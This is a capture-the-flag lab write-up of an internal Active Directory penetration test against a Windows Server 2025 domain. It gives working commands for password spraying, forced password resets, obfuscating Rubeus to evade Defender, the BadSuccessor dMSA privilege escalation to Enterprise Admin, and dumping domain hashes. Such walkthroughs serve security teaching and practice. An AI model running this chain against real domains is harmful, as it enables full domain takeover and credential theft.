MidGarden2

Challenge Lab (Hard) - by NoxLumens

The following post by 0xb0b is licensed under CC BY 4.0


Scenario

Objective / Scope

As a member of the Hack Smarter Red Team, you have been assigned to this engagement to conduct a comprehensive penetration test of the client's internal environment.

The client has a mature security posture and has previously undergone multiple internal penetration testing engagements. Given our team's advanced expertise in ethical hacking, the primary objective of this assessment is to identify attack vectors that may have been overlooked in prior engagements.

Starting Credentials

freyja:Fr3yja!Dr@g0n^12

Summary

Summary

In MidGarden2 we conduct an advanced internal penetration test against a mature Active Directory environment, starting with valid domain credentials. Using LDAP and BloodHound enumeration, we uncover weak operational practices. Including exposed temporary passwords and excessive delegation permissions. After identifying Managed Service Account (dMSA) creation scripts and confirming a Windows Server 2025 domain controller, we indentified the BadSuccessor vulnerability. We exploit the BadSuccessor chain to impersonate an Enterprise Admin. To evade Defender, we obfuscate Rubeus with Codecepticon, create and link a rogue dMSA to the Enterprise Admin ymir, and request Kerberos tickets to assume their privileges. With the resulting TGT and TGS, we dump domain hashes and authenticate as ymir, achieving full domain compromise through a dMSA-based abuse chain.

Recon

We use rustscan -b 500 -a sysco.hs -- -sC -sV -Pn to enumerate all TCP ports on 10.1.92.12, piping the discovered results into Nmap which runs default NSE scripts -sC, service and version detection -sV, and treats the host as online without ICMP echo -Pn.

A batch size of 500 trades speed for stability, the default 1500 balances both, while much larger sizes increase throughput but risk missed responses and instability.

 rustscan -b 500 -a 10.1.92.12 -- -sC -sV -Pn

With the results of our RustScan we identify a Windows host named MIDGARDDCon domain yggdrasil.hacksmarter exposing DNS on 53, Kerberos on 88, Active Directory LDAP on 389 (AD), LDAPS/tcpwrapped on 636, kpasswd5 on 464, Microsoft RPC / MSRPC endpoints on 135, NetBIOS/SMB on 139 and 445 (SMB2 message signing required).

Furthermore we have RPC-over-HTTP on 5985 .NET message framing on 9389, RDP on 3389 and several ephemeral MSRPC ports 49664, 49678, etc.

SMB

Since we already have some credentials from the scenario. We will test whether we can authenticate via SMB using these credentials, for which we will use NetExec.

nxc smb 10.1.92.12 -u freyja -p 'Fr3yja!Dr@g0n^12'

We can authenticate as freyja. Next we try to enumerate the shares. The scripts share stands out, but is not readbale.

nxc smb 10.1.92.12 -u freyja -p 'Fr3yja!Dr@g0n^12' --shares 

For now we just generate an /etc/hosts entry with the following command. We do this to ensure consistent name resolution during enumeration and exploitation.

nxc smb 10.1.92.12 -u freyja -p 'Fr3yja!Dr@g0n^12' --generate-hosts-file hosts

We add the following line to our /etc/hosts file.

10.1.92.12     MIDGARDDC.yggdrasil.hacksmarter yggdrasil.hacksmarter MIDGARDDC

LDAP

Since LDAP is exposed we enumerate the users of the domain using NetExec.

We may have a password in the description field for user Thor. It is marked as temporary, but we will try to authenticate using that password later.

nxc ldap MIDGARDDC.yggdrasil.hacksmarter -u freyja -p 'Fr3yja!Dr@g0n^12' --users

We save the users in a user.txt file for possible password spray attacks later on.

users.txt
Administrator
Guest
krbtgt
Odin
Ymir
Thor
Loki
Frigg
Baldr
Hel
Freyja
Sif
Njord
Skadi
Heimdall
Bragi
Idunn
Hodr
Forseti
Ullr
Tyr

BloodHound

After having roughly enumerated SMB and LDAP, we move on to Bloodhound. We use the credentials of freya we can use bloodhound to enumerate the domain

bloodhound-ce.py --zip -c All -d yggdrasil.hacksmarter -u freyja -p 'Fr3yja!Dr@g0n^12' -dc MIDGARDDC.yggdrasil.hacksmarter -ns 10.1.92.12 

But unfortunately the user freya has no interesting group membership or outbound object control that we can use to escalate our privileges.

Nevertheless, we have already been able to find a password-like string in the description of the user thor from our LDAP enumeration.We look at the user in Bloodhound and assume that we have already compromised them. The check of successful comprometation will be performed later. We see that we are able to change the password of the user hodr as being part of the PC SPECIALIST 2 group with the ForceChangePassword permission.

We see that the user hodr is part of the REMOTE MANAGEMET USERS group and could therefore be our first foothold.

Access as thor

We perform password spray with the discovered password-like string and the identified users on SMB using NetExecc. We are able to authenticate as thor.

nxc smb MIDGARDDC.yggdrasil.hacksmarter -u users.txt -p 'REDACTED' --continue-on-success

Shell as hodr

Next, we recall our BloodHound enumeration and perform a password change on the user hodr as thor.

To perform the password change using bloodyAD.

bloodyAD --host '10.1.92.12' -d 'yggdrasil.hacksmarter' -u 'Thor' -p 'REDACTED' set password 'Hodr' 'Pwned123!@'

After we have changed the password we try to authenticate as hodr via SMB using NetExec and are successful. We are now able to read the share scripts. However, we will save that for the next escaltion step.

nxc smb MIDGARDDC.yggdrasil.hacksmarter -u Hodr -p 'Pwned123!@'

Next, we connect to the target machine with the credentials as hodr to find the user flag at C:\Users\hodr\Desktop\user.txt.

evil-winrm -i yggdrasil.hacksmarter -u Hodr -p 'Pwned123!@' 

Shell as ymir

While we are still in hodr's session, let's take a look at which other users were already logged in on the machine.

Recalling the BloodHound output we identify ymir as Enterprise Admin and odin as Domain Admin. One of these two users will be our next target. Preferably ymir, since he is the Enterprise Admin. Members of this group have elevated rights across all domains in the AD forest. So in a real engagement it's a target with the most impact.

However, in BloodHound we cannot find a path to escalate from hodr to either of the two users.

We can't seem to find a path on the machine itself either.

Identification of BadSuccessor

Recalling the share found from the SMB enumeration we are able to spot three scripts inside. Those are create-dMSA.ps1, dmsa_find.ps1, replicate-DCs.ps1.

We could already get them as eithr thor or hodr, but are now interesting.

The create-dMSA.ps1 script is about creation of a delegated MSA with Kerberos AES256 and password retrieval delegation.

create-dMSA.ps1
<#
.SYNOPSIS
    Create a Delegated Managed Service Account (dMSA) in Active Directory.
.DESCRIPTION
    Prompts the user for required input and creates a standard dMSA.
.NOTES
    Requires RSAT Active Directory module.
#>

# Import AD module if needed
Import-Module ActiveDirectory -ErrorAction Stop

# Prompt user for input
$DomainFqdn = Read-Host "Enter the domain FQDN (e.g., yggdrasil.hacksmarter)"
$OUPath = Read-Host "Enter the full OU path for dMSAs (e.g., OU=Yggdrasil Service Accounts,DC=yggdrasil,DC=hacksmarter)"
$DMSAName = Read-Host "Enter the name of the dMSA account"
$Principal = Read-Host "Enter the computer or group allowed to retrieve the managed password (e.g., VanaheimWeb1$)"

# Verify that the principal exists
try {
    $principalObj = Get-ADComputer -Identity $Principal -ErrorAction Stop
} catch {
    try {
        $principalObj = Get-ADGroup -Identity $Principal -ErrorAction Stop
    } catch {
        Write-Error "Principal '$Principal' does not exist in AD. Exiting."
        exit 1
    }
}

# Check if the dMSA already exists
try {
    $existingDMSA = Get-ADServiceAccount -Identity $DMSAName -ErrorAction Stop
    Write-Host "dMSA '$DMSAName' already exists. Skipping creation."
    exit 0
} catch {
    Write-Host "Creating dMSA '$DMSAName'..."
}

# Create the dMSA
try {
    New-ADServiceAccount `
        -Name $DMSAName `
        -DNSHostName "$DMSAName.$DomainFqdn" `
        -Path $OUPath `
        -KerberosEncryptionType AES256 `
        -CreateDelegatedServiceAccount `
        -PrincipalsAllowedToRetrieveManagedPassword $Principal

    Write-Host "dMSA '$DMSAName' created successfully." -ForegroundColor Green
} catch {
    Write-Error "Failed to create dMSA '$DMSAName': $_"
    exit 1
}

# Confirm creation
try {
    $dmsa = Get-ADServiceAccount -Identity $DMSAName -Properties msDS-DelegatedMSAState
    Write-Host "`nCreated dMSA details:"
    $dmsa | Select-Object Name, msDS-DelegatedMSAState, DistinguishedName | Format-List
} catch {
    Write-Warning "Could not retrieve dMSA '$DMSAName'. Something went wrong."
}# 

The dmsa_find.ps1 script enumerates all Managed Service Accounts and shows delegation status.

dmsa_find.ps1
# ============================================
# dmsa_find.ps1
# Enumerate all dMSAs and show delegation status
# ============================================

# Load Active Directory module
Import-Module ActiveDirectory -ErrorAction Stop

Write-Host "`n[*] Retrieving all dMSAs from the domain..." -ForegroundColor Cyan

# Get all service accounts with delegation properties
$allDMSAs = Get-ADServiceAccount -Filter * -Properties msDS-DelegatedMSAState, msDS-ManagedAccountPrecededByLink, Enabled

if (-not $allDMSAs) {
    Write-Warning "No dMSA accounts found in the domain."
    return
}

foreach ($dmsa in $allDMSAs) {

    $name = $dmsa.SamAccountName
    $state = $dmsa.'msDS-DelegatedMSAState'
    $precededBy = $dmsa.'msDS-ManagedAccountPrecededByLink'
    $enabled = $dmsa.Enabled

    # Determine status
    switch ($state) {
        0 { $status = "Legacy / Not Delegated" }
        1 { $status = "Pending Delegation" }
        2 { $status = "Delegated / Converted" }
        default { $status = "Unknown" }
    }

    Write-Host "----------------------------------------" -ForegroundColor Yellow
    Write-Host "Name          : $name"
    Write-Host "Enabled       : $enabled"
    Write-Host "Delegation    : $status"
    Write-Host "Preceded By   : $precededBy`n"
}

Write-Host "[*] Completed enumeration of dMSA accounts." -ForegroundColor Green#

The replicate-DCs.ps1 just forces replication across all DCs.

replicate-DCs.ps1
repadmin /syncall MIDGARDDC /AeP#

So, what do the scripts give us? At first, nothing. But they tempt us to search for exploits or misconfigurations of dMSA accounts. And we find what we're looking for. BadSuccessor:

It's a vulnerability found in Windows Server 2025 by Akami. The following blog provides technical insight:

Recalling the NetExec output from the enumeration results confirms that the target is running a Windows Server 2025:

Windows 11 / Server 2025 Build 26100 x64
nxc smb MIDGARDDC.yggdrasil.hacksmarter -u Hodr -p 'Pwned123!@'

NetExec also has an LDAP module for testing this vulnerability, and we have a positive result:

nxc ldap MIDGARDDC.yggdrasil.hacksmarter -u Hodr -p 'Pwned123!@' -M badsuccessor

We have to perform a BadSuccessor attack.

Resources

There are alot of resources. I recommend the following two to learn about the attack and apply it:

However, we will follow a different source to exploit this vulnerability that shows a step by step exploitation guide without leaving out any information. More on this later in the Exploit section.

BadSuccessor

BadSuccessor abuses delegated Managed Service Accounts dMSAs to impersonate any AD user. It enables an account takeover (including Domain and Enterprise Admins) by creating or editing a dMSA linked to a target so a Kerberos ticket as that user can be requested. AWindows Server 2025 DC is required and a write primitive to create/modify dMSAs or their ACLs (OU/DACL access). It works because the KDC treats the dMSA as the "successor", merging the target’s PAC/keys into the dMSA’s ticket.

Failed Exploitation Attempt

We first try locally on the machine using Rubeus. However, we are interrupted by Microsoft Defender. It is active and detects Rubeus.

No problem, we can also try it remotely using bloodyAD. But this doesn't seem to work properly either.

bloodyad -d tryhackme.local -u 'Hodr' -p 'Pwned123!@' --host MIDGARDDC.yggdrasil.hacksmarter add badSuccessor 0xb0b_dmsa

Obfuscation of Rubeus

So we take a step back and decide to continue trying locally.

To do this, however, we first need to obfuscate the binary so it does not get detected by Defender. With obfuscation a program’s intent is tried to be hidden by transforming its code, e.g., renaming symbols, scrambling control flow, encoding and encrypting strings, and adding dead or noisy instructions.

I recommend the following room on THM to learn about the principles of obfuscation:

We can do this manually and refactor the code, or we can use a tool that does it for us. Codeception is one of them, and we also found a blog that directly addresses Rubeus:

It's recommended to follow the blog on how to use Codeception

We clone the Rubeus repository and the Codeception repository:

Next, we need to compile Codeception first:

Open the solution with Visual Studio. Make sure it's set to Release, and Build.

Once Codecepticon has been compiled, all the required files will be under the Release directory:

We can either generate the command using the CommandLineGenerator.html or use the provided command of the blog. We'll use the command from the blog:

.\Codecepticon.exe --module csharp --action obfuscate --verbose --path "...\Rubeus\Rubeus.sln" --map-file "...\Rubeus\Obfuscated-Mapping.html" --profile rubeus --rename all --rename-method markov --markov-min-length 3 --markov-max-length 9 --markov-min-words 3 --markov-max-words 4 --string-rewrite --string-rewrite-method file --string-rewrite-extfile "...Rubeus\debug.log"

--module csharp Defines the module we want to use, current options are: csharp, powershell, vba, and sign.

--action obfuscate Define the action - specific to the module selected above.

--path "C:\code\Rubeus\Rubeus.sln" Path to the solution you are targeting.

--map-file "C:\code\Rubeus\Obfuscated-Mapping.html" This output file will contain a mapping between original and obfuscated values - something we will refer to further down this post. As long as you are using the final obfuscated executable, you need this file in your life - do not delete it.

--profile rubeus Define a profile (from a pre-existing supported list). Just to clarify, this does not mean that Codecepticon only supports applications that have a profile. A profile is just extra tweaks that Codecepticon performs in order to add some final touches that are specific to that tool.

--rename all Rename everything - namespaces, classes, enums, etc.

--rename-method markov Set the identifier renaming method to markov which is auto-generation of "words that look English, but aren't". This is for helping with keeping the entropy of the executable lower.

--markov-min-length 3 --markov-max-length 9 All auto-generated words will be between 3 and 9 characters.

--markov-min-words 3 --markov-max-words 4 Each obfuscated identifier will be a combination of 3 to 4 auto-generated words.

--string-rewrite Define that we also want to rewrite strings.

--string-rewrite-method file Define the string rewrite method as file. This means that all strings will be taken out of the executable and saved in an external file, that has to be present during execution (in order to load the strings during runtime). This was implemented to minimise the risk of AV/EDRs detection - can't scan what isn't there, right?

--string-rewrite-extfile "C:\code\Rubeus\debug.log" Specify the location of the external file where all the strings will be saved in.

After running the command the Rubeus project has been modified.

In some cases, renaming may not be complete. In this case, refactoring must be performed in some places manually.

Furthermore we get an Obfuscated-Mapping.html file that provides information about the obfuscated parameters. Since these are also obfuscated.

Now open the Rubeus project in Visual Studio Code and compile the obfuscated version. We receive the binary (callled NardsIndlyIncoded.exe in this case ) and a debug.log. The debug.log is required to rewrite the strings back to the original values, this file is required to run the obfuscated binary.

Exploit

We'll use the following script to identify which identities have permissions to create dMSAs in their domain, and which OUs are affected.

We upload the script and are able to identify the identities that have permissions to create the dMSAs and the affected OUs.

upload Get-BadSuccessorOUPermissions.ps1
.\Get-BadSuccessorOUPermissions.ps1

The identity that is able to create dMSAs is the webServerAdmins group. Recalling the output of BloodHound we know that the user hodr is part ot the webServerAdmins:

Furthermore the following OUs are affected:

OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter

We have everything what we need.

Next we upload the debug.log and our obfuscated version of Rubeus. It does not get detected / deleted.

upload debug.log
upload NardsIndlyIncoded.exe

We'll folllow the steps from the blog (Lab Walkthrough) as this shows a detailed step by step set of instructions:

1 Create a Computer Account

we create and enable a new computer account named 0xb0b in the specified Active Directory OU, assigns it the SAM account name 0xb0b$ with the given password, and perform the operation against the domain controller yggdrasil.hacksmarter.

New-ADComputer -Name 0xb0b -SamAccountName "0xb0b$" -AccountPassword (ConvertTo-SecureString -String "Pwned123!@" -AsPlainText -Force) -Enabled $true -Path "OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter" -PassThru -Server "yggdrasil.hacksmarter"

2 Derive AES256 Hash using Rubeus

Next, we derive the hash of machine account created using Rubeus.

We prepare the un-obfuscted command...

un-obfuscated command

.\Rubeus.exe hash /password:'Pwned123!@' /user:0xb0b$ /domain:yggdrasil.hacksmarter

obfuscated command

Next, we lookup the actual obfuscated parameters using the Obfuscated-Mapping.html page.

The following two screenshots show this by way of example only.

We end up with the following command and are able to retrieve the hash, we will use later.

.\NardsIndlyIncoded.exe intrepeddebusgruous /phitedudgecoeless:'Pwned123!@' /schoplaterepostaponsed:0xb0b$ /dismuninsisnaution:yggdrasil.hacksmarter

3 Create the dMSA Account

Next, we create a Delegated Managed Service Account (DMSA) named 0xb0bDMSA in the specified OU, sets its DNS hostname and AES-256 Kerberos encryption, and allows the computer account 0xb0b$ to retrieve its managed password. It’s used to set up secure, domain-managed service credentials tied to a specific host.

New-ADServiceAccount -Name 0xb0bDMSA -DNSHostName 0xb0bDMSA.yggdrasil.hacksmarter -CreateDelegatedServiceAccount -KerberosEncryptionType AES256 -PrincipalsAllowedToRetrieveManagedPassword "0xb0b$" -Path "OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter" -Verbose

4 Grant GenericAll to Low Privileged User over the dMSA

Next we grant GenericAll over the dMSA account.

We need a GenericAll on the object to gain full control of the target object’s ACL/DACL to modify any attribute, reset passwords, change security descriptors, change the owner, etc. In this case we need to set the special dMSA migration attributes: msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState.

We retrieve the SID of user hodr, load the ACL of the 0xb0bDMSA AD object, then adds an access rule granting GenericAll to that user, and finally writes the modified ACL back to the object.

$sid = (Get-ADUser -Identity "hodr").SID
$acl = Get-Acl "AD:\CN=0xb0bDMSA,OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $sid, "GenericAll", "Allow"
$acl.AddAccessRule($rule)
Set-Acl -Path "AD:\CN=0xb0bDMSA,OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter" -AclObject $acl -Verbose

5 Set Delegation Attributes

Next we set the dMSA migration attributes: msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState.

  • msDS-ManagedAccountPrecededByLink: Set this to ymir to impersonate that user using the dMSA

  • msDS-DelegatedMSAState: Set this to 2 to simulate a completed migration

Set-ADServiceAccount -Identity 0xb0bDMSA -Replace @{
    'msDS-ManagedAccountPrecededByLink' = 
	'CN=ymir,OU=Administrators,OU=Yggdrasil Users,DC=yggdrasil,DC=hacksmarter'
    'msDS-DelegatedMSAState' = 2
} -Verbose

6 Verify dMSA Attributes

Next, we verify the dMSA attributes set.

Get-ADServiceAccount -Identity 0xb0bDMSA -Properties msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState | Select-Object Name, msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState

7 Request TGT with Machine Account

Now we request a TGT for our machine account 0xb0b$ using Rubeus.

Once we have a valid machine-account TGT, the KDC will treat that security principal as any domain account with its associated privileges and PAC (Privilege Attribute Certificate). This TGT will later allow us to request a TGS on behalf of the dMSA.

un-obfuscated command

.\Rubeus.exe asktgt /user:0xb0b$ /aes256:<AESblob> /domain:yggdrasil.hacksmarter /nowrap

obfuscated command

With this obfuscation, the nowrap parameter was probably not obfuscated or was broken.

.\NardsIndlyIncoded.exe apollerplaicalnagly /schoplaterepostaponsed:0xb0b$ /ecodeunterunrunise:77<REDACTED>C8 /dismuninsisnaution:yggdrasil.hacksmarter /GudePignessPilate

The nowrap parameter does not seem to work, but here we can still use the unobfuscated function

.\NardsIndlyIncoded.exe apollerplaicalnagly /schoplaterepostaponsed:0xb0b$ /ecodeunterunrunise:77<REDACTED>C8 /dismuninsisnaution:yggdrasil.hacksmarter /nowrap

8 Request TGS Using dMSA

Now that we have a TGT for the machine account, we can request a TGS for the dMSA account 0xb0bDMSA$, specifically for the krbtgt service.

The machine account has the rights to retrieve the dMSA credentials and operate on its behalf. The TGS we request here will effectively give us a service ticket that reflects the dMSA's PAC and privileges.

un-obfuscated command

Rubeus.exe asktgs /targetuser:0xb0bDMSA$ /service:krbtgt/yggdrasil.hacksmarter /dmsa /opsec /ptt /nowrap /outfile:ticket.kirbi /ticket:<ticket-from-last-step/machine-account-ticket>

obfuscated command

.\NardsIndlyIncoded.exe phomorpuschiefporic /pensiontozzeeglady:0xb0bDMSA$ /fimbleimporkunititusk:krbtgt/yggdrasil.hacksmarter /pyrexpousnocatioustra /impenyskeicbousnesse /humingbiolessburgod /nowrap /wethrosehirlbwbop:ticket.kirbi /rewarminamonorhizepalmian:do<REDACTED>GVy

We download the resulting ticket immediatly.

download ticket.kirbi

Next, we convert the ticket to a ccache file. We set the variable KRB5CCNAME via export KRB5CCNAME=<filename>.

ticketConverter.py  ticket.kirbi 0xb0bDMSA.ccache
export KRB5CCNAME=0xb0bDMSA.ccache

Next, we use impacket-secretsdump to dump the hashes remotely. We get the hash of ymir, odin and the local administrator.

secretsdump.py -k -no-pass midgarddc.yggdrasil.hacksmarter

We'll pass the nt hash of ymir using evil-winrm and a get a session.

evil-winrm -u ymir -H REDACTED-i midgarddc.yggdrasil.hacksmarter

We'll find the final flag at C:\Users\Administrato\Desktop\root.txt.

Lab Creation by NoxLumens

DEF CON 33 - The UnRightful Heir My dMSA Is Your New Domain Admin - Yuval Gordon

Last updated

Was this helpful?